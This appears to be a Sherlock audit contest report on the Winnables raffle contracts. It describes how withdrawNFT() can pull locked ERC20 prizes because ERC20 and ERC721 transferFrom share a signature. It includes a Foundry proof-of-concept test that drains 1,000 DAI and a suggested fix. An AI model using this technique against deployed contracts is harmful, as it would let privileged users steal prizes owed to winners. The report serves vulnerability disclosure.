Dry Arctic Hawk

High

# An admin could withdraw a raffle's winner prize if the reward is an ERC20 Token.

### Summary

An admin(Actor with the 0 role) could ensure a user doesn't claim their prize if the prize is an IERC20 token or even drain the prizeManager of any ERC20 token locked as prizes for raffles. 
### Affected Files
https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L230


### Root Cause

*Notice* An admin is a trusted actor in the system, this report is not implying an admin is malicious but to clarify the capability/power the admin role holds.
Assume an initial scenario whereby a raffle has been settled and the propagateRaffleWinner has been called, the crosschain payload has been sent and the winner address has been set in the prizeManager for  a raffleId.The admin is allowed to withdraw(NFT's,ERC20 Tokens and ETH) that isn't locked in the protocol. Every raffleId has an associated locked prize , which according to the sherlock homepage it is not withdrawable i quote "Winnables admins cannot do anything to prevent a winner from withdrawing their prize".
But this isn't always the case an admin could withdraw locked ERC20 tokens in the pool this is because the *withdrawNFT()* method uses transferfrom to send an nft which isn't locked could also be used to withdraw any ERC20 tokens in the prizeManager(Locked or Unlocked) simply because the ERC721 TransferFrom && ERC20 TransferFrom has the same method signature the 'tokenId' param in the ERC721 would just act as the number of tokens to withdraw.
An admin calling the withdrawNFT() method passing in a locked nft address & tokenId would always revert,but an admin calling the withdrawNFT passing in a locked ERC20 token and any tokenId(arbitrary number of tokens to withdraw) would succeed.

### Internal pre-conditions

_No response_

### External pre-conditions

- The raffle Id must have a winner .
- There must be locked ERC20 prize in the PrizeManager.

### Attack Path

- After a raffle-Id winner has been set in the PrizeManager.
- Call the withdrawNFT method with the ERC20 token and the amount of tokens to withdraw as tokenId.
- That way when the raffle winner calls claimPrize it would always revert.

### Impact

- A raffle winner would not be able to claim an ERC20 prize which is one of the major invariants on this protocol(See audit homePage under design choices).


### PoC

```  solidity
/**
 * SPDX-License-Identifier:UNLICENSED
 * @author:<Noone>
 */
pragma solidity ^0.8;
import {Test} from "forge-std/Test.sol";
import "../contracts/WinnablesPrizeManager.sol";

contract PrizeManagerTest is Test {
    WinnablesPrizeManager private prizeManager;
    address private linkToken = 0x514910771AF9Ca656af840dff83E8264EcF986CA;
    address private ccipRouter = 0x80226fc0Ee2b096224EeAc085Bb9a8cba1146f7D;
    address private admin = makeAddr("ADMIN");
    address private ticketManager = makeAddr("TICKET-MANAGER");
    uint64 chainSelector = 6433500567565415381; //doesn't matter
    address private DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;

    constructor() {
        vm.createSelectFork(vm.envString("ETH_RPC_URL"));
        _deployContracts();
        _init();
    }

    function _deployContracts() internal {
        _asAdmin();
        prizeManager = new WinnablesPrizeManager(linkToken, ccipRouter);
        //deal prizeManager tokens to cover for ccip fees.
        deal(linkToken, address(prizeManager), 1e18);
    }

    function _init() internal {
        _asAdmin();
        prizeManager.setCCIPCounterpart(ticketManager, chainSelector, true);
    }

    //Test demonstrating a scenario whereby an admin could withdraw locked ERC20 Tokens
    //This could be escalated to a scenario whereby admin denies a raffle-winner of prize by draining prizeManager of the prize ERC20 Tokens causing the claimPrize method to always fail due to insufficient amount..
    function testMaliciousAdminCouldPreventRaffleWinner() external {
        //Assuming the prizeManager has 1k Locked DAI..
        //It is expected that the admin cannot withdraw any locked tokens right?ðŸ˜Ž
        _lockTokens(DAI, 1000e18, 1);
        _asAdmin();
        prizeManager.withdrawNFT(DAI, 1000e18);
        assertEq(IERC20(DAI).balanceOf(admin), 1000e18);
        assertEq(IERC20(DAI).balanceOf(address(prizeManager)), 0);
    }

    function _lockTokens(
        address tokens,
        uint256 amount,
        uint256 raffleId
    ) internal {
        deal(tokens, address(prizeManager), amount);
        _asAdmin();
        prizeManager.lockTokens(
            ticketManager,
            chainSelector,
            raffleId,
            tokens,
            amount
        );
    }

    function _asAdmin() internal {
        vm.startPrank(admin);
    }
}


### Mitigation

- A fix would be to verify if the tokens being withdrawn is an NFT..
- This could be done by calling functions distinct to the ERC721 implementations like tokenURI().
``` solidity 
 //FIX
    function withdrawNFTFix(address nft, uint256 tokenId) external onlyRole(0) {
        if (_nftLocked[nft][tokenId]) revert NFTLocked();
        try IERC721(nft).tokenURI(tokenId) returns (string memory) {} catch {
            revert("Token is not an NFT");
        }
        IERC721(nft).transferFrom(address(this), msg.sender, tokenId);
    }